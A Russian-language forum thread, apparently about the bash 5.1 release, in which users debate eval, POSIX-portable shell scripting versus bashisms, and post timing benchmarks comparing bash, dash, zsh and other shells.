>Ты первый полез не в свой дело, рассказывая всем, как им сильно нужен eval.Я даже привёл пример где он нужен и незаменим.
>То есть слился, пруфов не будет. ОК.Гуляй, Вася.
> Я даже привёл пример где он нужен и незаменим.Незаменим? Правда, что ль? Это тебе от недостатка фантазии так кажется. Тут и хеш заменим вполне.
escape_re() {
sed 's/[][\\\/^$.*]/\\\0/g'
}get_val() {
key_re=$(echo "$1" | escape_re)
echo "$VALS" | sed -n "s/^${key_re}=//p"
}VALS=$( mediainfo "$filename" --Output='Video;%Encoded_Library_Settings%' | sed 's# / #\n#g' )
get_val "$key"
Ни одного eval, ни одного башизма.
Где ассоциативный массив в этом примере?
Нет его, прикинь. POSIX же. Но эмулируется он вполне успешно.
Ты вообще представляешь, как будет выглядеть эта лапша с getval?
Ох у меня полыхнуло, ты мне предложил словарь где я могу итерировать по ключам и значениям поменять на такую-то лажу! Да ещё сед дёргать миллионы раз. Я сейчас вообще выкину сед и использую встроенные в баш регулярки и ты мне тут предлагаешь ещё больше седа (вместо буквально одного вызова миллионы). Зато "портабэльно ккоо".
> Ох у меня полыхнулоГори-гори-ясно! Чтобы-не-погасло!
> ты мне предложил словарь где я могу итерировать по ключам и значениям поменять на такую-то лажу!
Так и тут итерируй — не хочу.
for kv in $VALS; do
key=$( echo "$kv" | cut -d= -f1 )
val=$( echo "$kv" | cut -d= -f2 )
# и твори с ними что хотишь
done> Да ещё сед дёргать миллионы раз.
Ну ладно, на тебе почти без седа. tr ты ведь любишь, да?
escape_re() {
sed 's/[][\\\/^$.*]/\\\0/g'
}get_val() {
key_re=$(echo "$1" | escape_re)
echo "$VALS" | grep "^${key_re}=" | cut -d= -f2
}VALS=$( mediainfo "$filename" --Output='Video;%Encoded_Library_Settings%' | tr -d ' ' | tr / '\n' )
get_val "$key"
Если уверен в именах ключей, можно escape_re выкинуть, никакого седа не будет.А вообще расслабься. Я тебя не заставляю так делать, если не нравится. Я просто показал, что eval не является незаменимым. Если любишь словари, то и словарь таким образом наполнить можно, а потом с ним работать. Даже читабельнее получится, пусть и длиннее на несколько строчек.
Всё ещё костыли, ужасные костыли, мусор, никуда не годится. Тот же tr заменяется на башизмы, sed заменяется на башизмы, grep тоже заменяется на башизмы, в итоге меньше операций, меньше времени расходуется впустую. Другое дело, что в коде который исполняется 1 раз это всё принципиально не нужно, но в твоём коде 100500 внешних вызовов -- каждый раз, когда тебе понадобится значение, его придётся выстрадывать. А значений там с полсотни, и это ведь только простенький кейс. А если что-то более сложное? Просто признай, что все шеллы, окромя баша, должны кануть в лету. И чем быстрее, тем лучше.
Да, костыли. Но и eval костыль, и башизмы твои — костыли. Просто признай, что там, где нужна производительность и/или работа со сложно структурированными данными, никакой шелл не годится. Зато только шелл годится в случаях, когда нужно написать скрипт, который будет работать везде и всегда. Но нет, это не про bash.
Всё же получше. Баш пытается изображать язык программирования. Вот я сейчас беру десятки пресетов, генерирую из них массивы, и достаточно эффективно сравниваю с ними (и работаю со значениями) используя средства шелла, и мне даже не надо думать о том, что будет, если там окажется что-то не то -- шелл сам сообщит об этом. А ещё баш имеет синтаксис для модификации элементов массива, он видится мне более аккуратным чем возня со строками. Тут же рядом у меня используется extglob, у даша этого опять же нет.У меня есть и другие скрипты с таким приёмом, мне страшно подумать, как ужасно они будут выглядеть без массивов (мне придётся весь файл забить мультистрочными значениями и всем прочим, как потом с этим работать? там логика сама по себе не такая простая).
>башу пофиг, сколько их тамзато мне нет
Да, я отвлёкся. Без eval тут обойтись сложно, но я бы в принципе не стал решать задачу, в которой такое нужно, на шелле. Есть более подходящие языки, к которым есть удобные библиотеки (хоть биндинги для той же libmediainfo).
В баше с хэштейблами вполне норм скриптуется такая логика, без них не норм.
Как и аноним выше пишу много скриптов. Анализ поступающих данных с выводом через gnuplot, например. Практически каждый день приходится что-то новое скриптовать для аналитиков.За последние года два ни разу не использовал eval.
Скрипты бывают разные. Если ты не пишешь интересной логики и динамических вычислений, вполне естественно, что eval тебе никогда не понадобится. Но баш слишком ограниченный, и если ты уже привык к полноценным скриптовым языкам, тебе хочется хотя бы доли того комфорта. Без eval это не осуществимо, или, во всяком случае, очень многие вещи без него не реализуемы в разумные сроки и с сохранением хоть какого-то удобства.
Другими словами говнокодинг всегда кажется быстрее.
Делал парсер на eval, мне указали на ошыбку — переделал без eval и код стал даже гибче.
Но стал ли код быстрее? Или понятнее? Если замерить, или хотя бы посчитать количество инструкций? Память тоже не бесконечная. Вообще, в баше очень много вариантов где $ или даже ! в тексте создаст тебе приключений и без eval. А ведь есть ещё extglob! В общем, eval ты хотя бы видишь, и можешь хоть как-то санитизировать, а вот остальное уже не очень. И зачем переписывать то, что прекрасно работает?
> Но стал ли код быстрее? Или понятнее? Если замерить, или хотя бы
> посчитать количество инструкций? Память тоже не бесконечная. Вообще, в баше очень
> много вариантов где $ или даже ! в тексте создаст тебе
> приключений и без eval. А ведь есть ещё extglob! В общем,
> eval ты хотя бы видишь, и можешь хоть как-то санитизировать, а
> вот остальное уже не очень. И зачем переписывать то, что прекрасно
> работает?Сам суди:
https://forum.motofan.ru/index.php?s=&showtopic=163337&view=...
https://forum.motofan.ru/index.php?s=&showtopic=163337&view=...
ПС: eval это как наркотик.
Да, eval ради eval это тоже такое, просто есть ситуации где без него объективно никак.
> Да, eval ради eval это тоже такое, просто есть ситуации где без
> него объективно никак.Можна короткий пример с коротким описанием?
> Если ты не пишешь интересной логики и динамических вычислений, вполне естественно, что eval тебе никогда не понадобится. Но баш слишком ограниченный, и если ты уже привык к полноценным скриптовым языкам, тебе хочется хотя бы доли того комфорта.Если ты пишешь интересную логику и динамические вычисления, для которых bash слишком ограниченный, и при этом ты привык к полноценным скриптовым языкам, какого чёрта ты используешь для этого bash?
Потому что могу? Как минимум интересно заменять по-максимуму привычную поизикс содомию башизмами, многие возможности открылись с тех пор как я начал это делать.
> Зато eval нужен очень часто, и ничего ты с этим не сделаешь.очень даже сделаешь
eval ${VARNAME@Q}
Но я так и не придумал, где это можно применить. Я пытался, честно. Разве что выводить имена файлов с \r. Мне кажется, ты не понимаешь, что это, и для чего.
это везде можно применить. просто предварительно загоняй строку для eval в переменную, а потом уже ее eval-ь с этим экспандером. eval в принципе страшен и уязвим только тогда, когда ему можно подсунуть невалидированные данные от пользователя. а данная конструкция позволяет без лишнего гемора отсечь всякие инджекшены
У вас уже есть идеальные программисты, которые никогда не ошибаются? В противном случае, использовать язык-ногострел себе дороже.
У тебя уже есть идеальный язык, который не позволяет выстрелить себе в ногу?
Не позволяет и поощряет это очень разные вещи.
До тех пор пока ты не начнёшь ежесекундно спамить тысячами процессов, да и с мультипоточностью пострадать придётся больше чем в питоне (там гил и гц мешают счастью).
Для этого есть утилиты xargs и parallel, запускал больше тыщи на малине
> Для этого есть утилиты xargs и parallel, запускал больше тыщи на малинеСколько тысяч процессов при этом вызывал каждый из тысячи процессов? А главное, сколько там было тредов? Когда большая часть времени исполнения уходит на паразитную нагрузку и "бесполезный" бойлерплейт (это что касается xargs и parallel), это всё же ощутимо.
>Сколько тысяч процессов при этом вызывал каждый из тысячи процессов?А питон так умеет?
>>Сколько тысяч процессов при этом вызывал каждый из тысячи процессов?
> А питон так умеет?С процессами без проблем, параллелится на сотни (это то что я проверял). С тредами потолок будет раньше, совсем плохо будет если использовать pure python батарейки — там вообще не параллелится практически. Дело как раз в том, что питону не придётся нонстоп вызывать сотни-тысячи программ и ждать их завершения, он сам всё может. А структуры его куда более дружелюбны для данных, вон в шелле даже многомерного массива нет и приходится городить очень неприятные конструкции не эффективные по памяти.
Ну вот питон - сотни, а баш выше - тысячи. Комментарии, как говорится, излишни.
Проблема в том, что аналогичный код на баше захлебнётся много раньше, накладные расходы велики. Это не говоря о том, что написать _аналогичный_ код — практически анриал, проще и быстрее будет брать сразу си. А сотни только потому, что железо не позволяло скалировать дальше. Это были 100 вычислительных потоков, а не 1000 бесполезных внешних вызовов. За единицу времени получаем одну-три единицы вычисления на баше, или сотни на питоне (с полной загрузкой).
А кстати, мне тут понадобилось сложить пару чисел в баше. Ну такое, гигабайты чисел он не очень успешно ворочает. Даже очень неуспешно. И есть с десяток очевидных способов сделать это КРАЙНЕ не успешно. Хотя питон тоже не проверял, только numpy, но там и не пришлось так извращаться.
Числодробилки никто не пишет на интерпретаторах. Если брать интерпретатор, то сама числодробилка должна быть на сях/плюсах. Сам код может быть модулем для твоего интерпретатора (CPython, cffi и т.п.). И не потому что си быстрее, а потому что числа лежат на стеке, а не в куче. Гугли l1 cache speed vs ram.
А почему я не могу делать это на интерпретаторе? Да я протупил, за доли секунды складываются 300к значений в баше. Для сравнения сумма полутора миллиона значений тоже за доли секунды. Так что ты неправ, выходит.
>Сколько тысяч процессов при этом вызывал каждый из тысячи процессов?FYI https://github.com/gh0stwizard/yafb Там две ветки с разным подходом.
Твой вопрос смешной, т.к. 2000 процессов, которые тупо складывают одно число убивают (ну раньше убивали) линукс полностью. Если не понял в чем суть вопроса, то ты make -j 10000 делаешь или как велят умные дяди make -j {кол-во ядер + 1}? Ок, даже если ты чутка в теме и скажешь, что это из-за disk i/o, то смотри линк выше, там нет никакого disk i/o.
Не делай вид, что не понял, о чём я. Никто не говорил о единовременном форкании, только о последовательном. Особенно ощутимо это в венде конечно, в линуксе с некоторых пор получше, но тоже не сахар.
Ещё бывает сами утилиты поддерживают параллельность, например sort и curl.
неправда. баш тормознутее питона на порядок. или на два порядка (не помню, давно мерял)
Сравни скорость утиилты gsed с, прости Господи, питоном.
Именно про bunutils+sh идёт речь.
Если про что и говорить, то это в питоне подозрительно тормозной os.scandir, find в 100 раз быстрее (на холодную так и вообще). А os.listdir ещё хуже. Но это некорректно всё же, мы сравниваем не баш, а си, сам баж тормозной и питон чаще всего быстрее чем вызов сишной утилиты из баша (миллион раз на каждое слово, например).
> Если про что и говорить, то это в питоне подозрительно тормозной os.scandir,
> find в 100 раз быстрее (на холодную так и вообще). А
> os.listdir ещё хуже. Но это некорректно всё же, мы сравниваем не
> баш, а си, сам баж тормозной и питон чаще всего быстрее
> чем вызов сишной утилиты из баша (миллион раз на каждое слово,
> например).а интерпретатор питона на чом написан?
Вроблема в "вызов", если бы сишный код можно было подключить в баш через ффи и не спамить процессами, он работал бы так же быстро, как и в питоне.
> Вроблема в "вызов", если бы сишный код можно было подключить в баш
> через ффи и не спамить процессами, он работал бы так же
> быстро, как и в питоне.Я это давно понял, тормозной Linux всё портит, по этому практикую замену простых внешних утилит шеловским кодом, например тут:
https://forum.motofan.ru/index.php?s=&showtopic=162200&view=...
https://forum.motofan.ru/index.php?s=&showtopic=162200&view=...
А, ну и питон написан на питоне. И местами на си.
Интерпретатор там си (или уже плюсы не помню), только это отношения никакого не имеет. Получается, мы сравниваем интерпретируемый код с нейтивом.
> Интерпретатор там си (или уже плюсы не помню), только это отношения никакого
> не имеет. Получается, мы сравниваем интерпретируемый код с нейтивом.Дя, когда shell не может то звёт своих нативный дружков. :)
Регулярки в питоне кстати сишные, и более простые чем расширенный сед (а не расширенный оставьте себе). Ты точно меряешь корректно?
> Регулярки в питоне кстати сишныеВ Си есть регулярки? Вот это да!
> и более простые чем расширенный сед
Вообще-то нет. Там вариации перлового синтаксиса, который куда навороченнее любых POSIX-регулярок (и любых ДКА вообще).
>В Си есть регулярки? Вот это да!А на каком языке, по-твоему, написана libpcre? Конечно, есть, не всё же плюсами одними (плюсовая бтв понерфленная).
>Вообще-то нет. Там вариации перлового синтаксиса, который куда навороченнее любых POSIX-регулярок (и любых ДКА вообще).
И даже atomic group нет! Фи.
Регулярки в питоне не более сишные чем весь питон, как бы. (И не менее, да.)> И даже atomic group нет!
Как будто в седе есть. Там даже незахватывающей группировки нет.
Там есть pure python батарейки и есть сишные батарейки с сишной же производительностью. Питон код интерпретируется, и нейтив код не интерпретируется интерпретатором питона.
Хотя он может и взаимодествовать с интерпретатором. А ещё он может освобождать gil и всё остальное, из-за чего питон получает нехилый буст к производительности.
> Баш вместе с линукс утилитками производительнее питона получается. И времени на код
> меньше уходит.А даш в большых скриптах в разы быстрее баша может быть, так может стоит с колеса вынуть ветку?
Ты близок к просветлению. Осталось понять, что есть awk.
А потом — то есть perl. А потом — что есть python, и дальше по кругу.
>А потом — то есть perl.Как перловик со стажем, ответственно заявляю, что бородатые дядьки, которые говорили, что awk решает 95% задач perl, были абсолютно правы. Да, на перле можно делать что-то сложнее, но в контексте скриптов, не _приложений_, awk намного удобнее, т.к. а) есть во всех системах б) стандартизированный (не нужно трахатся с вопросом а есть в _этой_ системе такой-то пакет) в) компактный г) законченный. Если вопрос стоит на чем писать _приложение_, то вариантов масса, факторов влияющих на решение задачи масса и решений масса. Опять же, из личного опыта, приложение писать скорее всего придется на чем-то сложнее чем awk, включая perl.
ребят, а где можно почитать гайды по posix-shell? ну т.е чтобы писать скрипты которые будут одинаково работать и под башем, и под zsh, и под чем угодно еще
Читай стандарт, тестируй скрипты в разных шеллах (как минимум dash и ksh). Самый надёжный способ.
Если для начального изучения, то на русском выходила книжка Кочана и Вуда, может быть, ещё найдёшь в продаже.
> книжка Кочана и ВудаISBN 978-5-9909445-3-4
>> которые будут одинаково работать и под башемКакой в этом смысл, когда баш есть везде, но может быть не установлен по умолчанию.
Смысл в этом тот, что написанный тобой скрипт должен работать независимо от того, установлен в системе (не твоей) bash или нет. Ну если ты программист, то есть. Если админ, то смысла, может быть, и нет, тебе виднее.
Это понятно, насколько оно будет в итоге работать как надо, вот вопрос. Тот же баш не совместим между собой в зависимости от версии. Т.е. что лучше универсальный скрипт, возможно вызывающий проблемы или нативный баш, который можно доставить с большинстве случаев. Получается нужно учитывать зоопарк шелов и их версий, нет? А сложность скрипта и накладываемые ограничения?
Я бы выбрал второе, а те места куда баш никак, но очень надо, то заточил бы отдельно. В общем, филькин труд.
Мой пример: на телевизоре нет bash, только sh. От линукса там практически только ядро. То же самое на андроеде, особенно в recovery. На самом деле, только в настольно-серверные Люляксы ваш баш и завезли. А больше - никуда.
Баш он не наш, а общий. В твоем случае не логично ли на sh и написать, чисто под девайсы?
Под ведроид есть фришный termux с башем и терминалами. Ставь и не парься.
> Под ведроид есть фришный termux с башем и терминалами. Ставь и не
> парься.Ствалю. Только чем он при внешнем подключении поможет?
> универсальный скрипт, возможно вызывающий проблемыЕсли он вызывает проблемы, он не универсальный.
> Получается нужно учитывать зоопарк шелов и их версий, нет?
Нет. Как правило, достаточно придерживаться стандарта и не использовать то, что выходит за его рамки.
> А сложность скрипта и накладываемые ограничения?
Если скрипт получается слишком сложным, его лучше писать на другом языке. Шелл хорош для сравнительно простых вещей.
> Я бы выбрал второе, а те места куда баш никак, но очень надо, то заточил бы отдельно.
Ну, то есть, ты не программист, о чём я и писал. Программист зачастую знает очень мало о целевой системе и не имеет возможности повлиять на состав установленного на ней софта. Для контролируемых тобой систем, безусловно, можешь использовать, что тебе вздумается.
> скрипт должен работать независимо от того, установлен в системе (не твоей) bash или нет.Напрямую зависит от назначения скрипта. Если решает десктопные задачи, то баш там будет с вероятностью 99%. Оставшийся процент поставит, не облезет. Если потенциально возможно использование на серверах или в эмбеде, тогда да.
За башизмы нужно яйца отрывать по самую шею.
Отрывать надо разрабу, когда происходит "опаньки" от желания угодить всем.
Башизмы никого не интересуют, и в первую очередь пользователей.
ну оторви, попробуй
У вас, шапкорабов, уже и отрывать нечего. Все уже оторвано до нас.
метлу привяжи, когда с lfs-ником базаришь
С долбо..ом что-ли?
>>> которые будут одинаково работать и под башем
> Какой в этом смысл, когда баш есть везде, но может быть не
> установлен по умолчанию.Так он есть везде или не установлен?
Да.
> Да.Есть везде, но его нет. Шелл Шредингера.
> Какой в этом смысл, когда баш есть везде, но может быть не установлен по умолчанию.Смысл очень простой -> безопасность.
Первое, что чаще всего делают взломщики используя зиро-дэй дыру, это запуск баша в режиме реверс консоли (т.к. баш спокойно говорит на языках TCP/UDP) и имееют по полной удаленную систему, которая как правило даже не заметит в логах конекты из баша. Поэтому уважающие свое время админы делают chmod 750 root:root /bin/bash /bin/gawk ... , a юзеров приучают быть ПОСИКС совместимыми разрешая им максимум /bin/sh
http://tldp.org/LDP/Bash-Beginners-Guide/html/index.html
там вроде были оговорки, что в sh работает, а что - нет.
Пиши скрипты на dash. Он максимально POSIX-совместимый. Ман у него маленький, вполне можно за пару часов освоить.
Тогда уже на ash, в идеале busybox ash.
Вот на днях столкнулся с dash несовместимостью: https://forum.motofan.ru/index.php?s=&showtopic=162200&view=...
Во-первых, что-то странное ты там описал. Слабо верится в такое поведение. Во-вторых, dash — урезанный форк ash, так что баги у них вполне могут быть общие. В-третьих, если баг и был, из твоих же слов следует, что он давно исправлен.
> Во-первых, что-то странное ты там описал. Слабо верится в такое поведение. Во-вторых,
> dash — урезанный форк ash, так что баги у них вполне
> могут быть общие. В-третьих, если баг и был, из твоих же
> слов следует, что он давно исправлен.Мне тоже было неимоверно сложно в это поверить — больше года не верил пока не начал раскопки.
dash имеет сообщение о завершении фонового процеса, а busybox ash нет.
И да, исправлено костылём в скрипте всего лиш.
ПС: разве ash развивает щас кто то?
> ребят, а где можно почитать гайды по posix-shell? ну т.е чтобы писать
> скрипты которые будут одинаково работать и под башем, и под zsh,
> и под чем угодно ещеЯ тут начинал: https://forum.motofan.ru/index.php?showtopic=162200 =)
Берёшь стандарт POSIX и читаешь. Он учится полностью за один вечер.
https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V...
Правильно будет сказать, что есть (ba)sh и есть ksh. Обычный sh почти во всех линуксах. На бсд-лайк системах (особенно на солярке) в системе только ksh. Я лично сам пишу под mksh, который как бы из мира ksh, но очень мнго взял из sh. При этом по скорости опережает здесь рекламируемый dash.
Ты бредишь. Классический sh — это Борн шелл. И ksh к нему намного ближе, чем нынешний bash. Но все они из одной оперы, дугой лагерь — это csh и его вариации, столь любимые в FreeBSD.
крут, подскажите плз как накатить эту версию на убунту 18 :/
Да ты уже и так накатил...
совсем линуксоиды деградировали...wget https://ftp-gnu-org.ip-connect.vn.ua/bash/bash-5.1.tar.gz
tar xzvf bash-5.1.tar.gz
cd bash-5.1
./configure
make
make install
Это ж убунтята, они без соски и диск не разметят.
Понимаю, что выгляжу ретроградом, но весь этот улучшайзинг чреват обильными матюками, если в хозяйстве имеются машины с разными версиями скорлупы.
Бери пример с анонима выше, изучай POSIX shell.
Страшный сон системдунов зарелизился.
Системда работает крайне стабильно.
Постгрес упал, системктл показывает, что процесс активен и не может его рестартовать.
И такая радость в LTS дистрах.
> Системда работает крайне стабильно.
> Постгрес упал, системктл показывает, что процесс активен и не может его рестартовать.
> И такая радость в LTS дистрах.Зато нет "портянок на баш" :-)))
Это встроенная в системду развивающая игрушка. Чтобы обмин не заскучал.
Что поделка пишет в свой недожурнал?
Логи не изучал. Не так давно Был инцидент у заказчика, упал портал. Моя задача была быстро поднять все взад, ребут решил вопрос.
Неоднократно встречал сию проблему, когда дибилойд-системд находится в полной обсракции, если процесс именно падает.
> Логи не изучал. Не так давно Был инцидент у заказчика, упал портал.
> Моя задача была быстро поднять все взад, ребут решил вопрос.
> Неоднократно встречал сию проблему, когда дибилойд-системд находится в полной обсракции,
> если процесс именно падает.Оно досихпор подение "сервАйса"©™ не может нормально обработать? ;-)
Что за дистрибутив?
>Страшный сон системдунов зарелизился.Просто напросто последователи systemD не осилили GNU bash. И за этого неосиляторства и идут все байки про "лапшу". Эту простую истину я понял совсем недавно и мне стало жалко того времени что я потратил на споры с "системдунами".
> последователи systemD не осилили GNU bashВ точку! И вместо пары строк на баше им приходится писать юниты+либы+бинари, которые прибиты шурупами к системде и в них нифига не исправишь, естественно.
>> последователи systemD не осилили GNU bash
> В точку! И вместо пары строк на баше им приходится писать юниты+либы+бинари,
> которые прибиты шурупами к системде и в них нифига не исправишь,
> естественно.моя шел твоя баш труба шатал,,,
> пары строкВот давай без вранья.
Он имел ввиду пары сотен строк
А как же дженерики ???
> А как же дженерики ???Сначала надо типизацию завезти, и только потом дженерики. "Всё есть строка" не очень способствует дженерикам.
То что написано на баше 30 лет назад, заработает и сейчас.
>То что написано на баше 30 лет назад, заработает и сейчас.fixed
С этого предложения надо бы и начинать эту новость.
Bash такой же как и system:D мегакусок говнокода.А 5.1 ещо более тормозное и размазаное удобрение чем 5.0:
time bash-5.0 -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done'real 0m6,178s
user 0m6,173s
sys 0m0,005stime bash-5.1 -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done'
real 0m7,184s
user 0m7,184s
sys 0m0,001stime dash-0.5.10.2 -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done'
real 0m2,186s
user 0m2,185s
sys 0m0,001sСкомпилировано и сконфигурировано на OpenSUSE.
ПС: кто не понял — в этом примере dash на 329% быстрее исполняет скрипт чем bash-5.1
Баш вообще в циклах хреново работает, ты бы ещё файл построчно читать попробовал. Вот попробуй, охренеешь.
Поэтому циклы лучше на линуксовые утилиты положить, а не на баш. Башу только управление софтом, переменными, функциями можно и это реально бомба.
> Баш вообще в циклах хреново работает, ты бы ещё файл построчно читать
> попробовал. Вот попробуй, охренеешь.
> Поэтому циклы лучше на линуксовые утилиты положить, а не на баш. Башу
> только управление софтом, переменными, функциями можно и это реально бомба.Мне вот нада скриптом управлять скоростью вентилятора следя за термодатчиками, используя простую арифметику делать плавное увеличение\уменьшение оборотов.
Я написал скрипт весом 4 кб на sh, 4 года работает без проблем.
На какие альтернативы среди утилит положыть эту логику?
Да для таких простых задач баш пригоден. Я имею ввиду какие-то жёсткие задачи, типо анализа текстового файла в десятки гигабайт, или запуска каких-то команд где очень быстро будет передаваться управление обратно в цикл, и весь скрипт из-за этого будет тормозить, упираться в баш.
Ну и эта команда на которой ты тестриуешь баш это не есть показать. У тебя простой цикл с инкриментом. Ну о чём это говорит вообще? Это не ЯП, это скриптовый, управлеченский код, нагруженные циклические проги прямо на него накидывать это бред, неэффективно.
Баш в этой ситуации медленнее питона, но просто потому что ты баш применил так. А вот питон по другому не применить уже, вот это разница.
> Это не ЯП, это скриптовый, управлеченский код, нагруженные циклические
> проги прямо на него накидывать это бред, неэффективно.Shell это язык програмирования!
Просто большынство юзеров юникса больше однострочников не пишут.ПС: питон не эфективен, юзай асм.
Зачем тебе баш если ты его не используешь?..
~ $ time bash -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done'real 0m6.578s
user 0m6.569s
sys 0m0.000s~ $ time bash -c 'D=1; while [[ "$D" -lt 1000000 ]]; do ((D+=1)); done'
real 0m3.558s
user 0m3.551s
sys 0m0.001s~ $ time bash -c 'declare -i D=1; while ((D<1000000)); do ((D+=1)); done'
real 0m2.510s
user 0m2.505s
sys 0m0.001sто же самое с регулярками и всем остальным
А вот, кстати, zsh (но он по фичам несовместим с башем, да):
~ $ time zsh -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done'real 0m4.796s
user 0m4.470s
sys 0m0.321s~ $ time zsh -c 'D=1; while [[ "$D" -lt 1000000 ]]; do ((D+=1)); done'
real 0m1.131s
user 0m1.129s
sys 0m0.001s~ $ time zsh -c 'D=1; while ((D<1000000)); do ((D+=1)); done'
real 0m0.868s
user 0m0.867s
sys 0m0.000s~ $ time zsh -c 'declare -i D=1; while ((D<1000000)); do ((D+=1)); done'
real 0m0.681s
user 0m0.680s
sys 0m0.000s
Тогда уже не "((D+=1))", а "((D++))" наверно.Даже такими титаническими усилиями оно значительно медленнее даша. А также у меня огромные вопросы к смыслу таких усилий и того какое это имеет отношение к shell.
ПС: я тоже читерить умею
time dash -c 'D=1; while true; do case "$D" in 1000000) exit;; esac; D="$((D+1))"; done'real 0m0,964s
user 0m0,958s
sys 0m0,004s
:Р
> Тогда уже не "((D+=1))", а "((D++))" наверно.А какая разница?
> Даже такими титаническими усилиями оно значительно медленнее даша. А также у меня
> огромные вопросы к смыслу таких усилий и того какое это имеет
> отношение к shell.Что там титанического? В моём коде ничего титаническго, совершенно 0 усилий. Никаких хаков. Я всегда только так и пишу.
~ time dash -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done'real 0m1.740s
user 0m1.738s
sys 0m0.000s$ time dash -c 'D=1; while true; do case "$D" in 1000000) exit;; esac; D="$((D+1))"; done'
real 0m1.097s
user 0m1.095s
sys 0m0.001s$ time zsh -c 'declare -i D=1; while ((D<1000000)); do ((D+=1)); done'
real 0m0.682s
user 0m0.681s
sys 0m0.000sИтого, даш даже с грязнохаками слился "башизмам".
>> Тогда уже не "((D+=1))", а "((D++))" наверно.
> А какая разница?Если б bash нормально был написан то наверно никакой бы небыло, но по факту быстрее.
>> Даже такими титаническими усилиями оно значительно медленнее даша. А также у меня
>> огромные вопросы к смыслу таких усилий и того какое это имеет
>> отношение к shell.
> Что там титанического? В моём коде ничего титаническго, совершенно 0 усилий. Никаких
> хаков. Я всегда только так и пишу.Ну да, обьясни интерпритатуру сначала шо тот набор цыфр это номер, а не слово, потом используй какие то левые С подобные конструкцыи, шобы интерпритатор исполнял роль тупого транслятора, а в итоге получи пшык в кепке.
> Итого, даш даже с грязнохаками слился "башизмам".
Слился в чом, в сложении? xD
И да, я з zsh не знаком, по этому ничего про него сказать не могу, в отличии от забаганого баша.
Какие баги? Нет никаких багов. А по синтаксису, это обычный bash синтаксис и встроенный оператор объявления массивов, переменных, объявления переменных глобальными и всего остального, ему уж лет сколько. От объявления переменной числом баш не выигрывает на таком "тесте", это зш оптимизирует на 20% или сколько там, но вообще для счётчиков довольно эффективно. Я просто объявляю все числа числами, очень удобно.Вон там соседний ответ, расскажи пожалуйста, как удалить последний элемент массива в dash и как складывать числа в dash, я хочу сравнить производительность на сложении чисел (числа простые строки в массиве, без всего).
>Я просто объявляю все числа числами, очень удобно.А я не обьявляю числа числами так как в этом нет необходимости — ещо удобнее.
>Вон там соседний ответ, расскажи пожалуйста, как удалить последний элемент массива в dash и как складывать числа в dash, я хочу сравнить производительность на сложении чисел (числа простые строки в массиве, без всего).raye="2 4 8 16 32 64 128 256 512 1024"
raye="${raye% *}"
echo "$raye"На какую купку складывать?
А ничего особенного, типичная задача сложить миллион другой чисел, что такого. Как узнать в даше что это даш? Я так понял сложение чисел это слишком сложная задача для даша, поскольку массивов нет количество элементов я тоже узнать не могу? Это фейл. Как мне получить последнее значение в строке? Его нужно сохранить в отдельную переменную и только потом удалить. А нное значение? Зачем нужен шел который не умеет даже таких базовых вещей? Тот же tcsh и то больше может, хотя казалось бы. Но, тот складывать вообще не умеет, так что массивы ему не помогут.Но, блин, серьёзно, шел без массивов это что-то ты даже параметры не сможешь передать программе поскольку они будут одной строкой. Т.е. только хардкод параметров будет ещё как-то работать и изменять параметры нельзя.
Ещё не понял, почему у даша в конце 3 значения к удалению, когда у баша и зш их 2 (вообще должно быть одно, но просто файл такой). Я удаляю любые повторяющиеся значения в цикле проверяя корректность содержимого регуляркой, чего даш тоже не умеет. Можно нагородить сед наверно, но мне лень.
Значения разделены не пробелами, а новой строкой, поэтому удалил их вот так
raye="${raye%поскольку башевого $'\n' тоже нет.
*}"Потребление памяти у даша 32мб и у баша 200мб, у зш 90мб. Ну т.е. в принципе пусть живёт, но это насилие над пользователем, а не шел -- куча "нельзя". У баша без массива потребление памяти 120 мегабайт и у зш 15мб (я не уверен что сделал это корректно, for по строке разделённой \n он что-то не смог похоже).
Получается зш практически однозначный победитель, он позволяет использовать разнообразные башизмы и при этом наиболее эффективен.
Интересный факт: если избежать присвоения копии массива в zsh (поскольку он может только копировать, но не занулять? значит, неосуществимо) его потребление памяти в варианте с массивом падает в 2 раза до 50мб.
>Как узнать в даше что это даш?whatshell.sh
>Я так понял сложение чисел это слишком сложная задача для даша, поскольку массивов нет количество элементов я тоже узнать не могу? Это фейл.Стопэ. Отстань со своими ращосками от тех у кого нет волос. ;)
Вот тебе красивая сума всех аргументов и без масивов:
raye(){
SUM=0
N=$#
while [ -n "$1" ]
do
SUM=$((SUM+$1))
shift
done
}
raye 2 4 8 16 32 64 128 256 512 1024
echo "Z$N: $SUM"И через $2 внутри функцыи можна обращаться к конкретной позицыи.
>Но, блин, серьёзно, шел без массивов это что-то ты даже параметры не сможешь передать программе поскольку они будут одной строкой
Ой, нет, без волос не умирают. Нет, мозги не испарятся без них. А если холодно есть кепка.
# yes "1
2
3
4">Значения разделены не пробелами, а новой строкой
А как они добавляются в волосы, ой, то есть в масив?
Я с масивами никогда не работал и до сих пор не понимаю нашо они нада.
tcsh похоже победитель:
$ time tcsh ~/bin/cshvariant.shreal 9m20.743s
user 6m18.812s
sys 3m31.950sБтв как удалить последний элемент из массива в zsh?
Вот это чёт не прокатывает unset 'raye[${#raye[@]}-1]' (в баше работает), а то в баше я просто напишу unset raye[-1] и всё норм.
Короче только вот так, raye=("${(@)raye[1,$#raye-1]}")
В итоге, на более реальной задаче баш складывает несколько чисел (300000 чисел) за
real 0m34.796s
user 0m2.884s
sys 0m3.044sи зш за
real 0m35.218s
user 0m2.913s
sys 0m3.113sвот и всё. :(
и что-то сразу на реальном кейсе всё посыпалось, я надеялся будет хоть чуточку побыстрее.
~$ time bash -c 'declare -i D=1; while ((D<1000000)); do ((D+=1)); done'real 0m4.937s
user 0m4.925s
sys 0m0.004s
На процессоре 2006 года релиза.
А с dash?
Забавный тест, вот другой, где все "несколько иначе":
~> time dash -c 'for a in `seq 100000`; do ( :; ); done'
0m14.03s real 0m09.18s user 0m08.42s system
~> time ash -c 'for a in `seq 100000`; do ( :; ); done'
0m45.92s real 0m33.87s user 0m15.39s system
~> time mksh -c 'for a in `seq 100000`; do ( :; ); done'
0m18.92s real 0m12.37s user 0m10.22s system
~> time bash -c 'for a in `seq 100000`; do ( :; ); done'
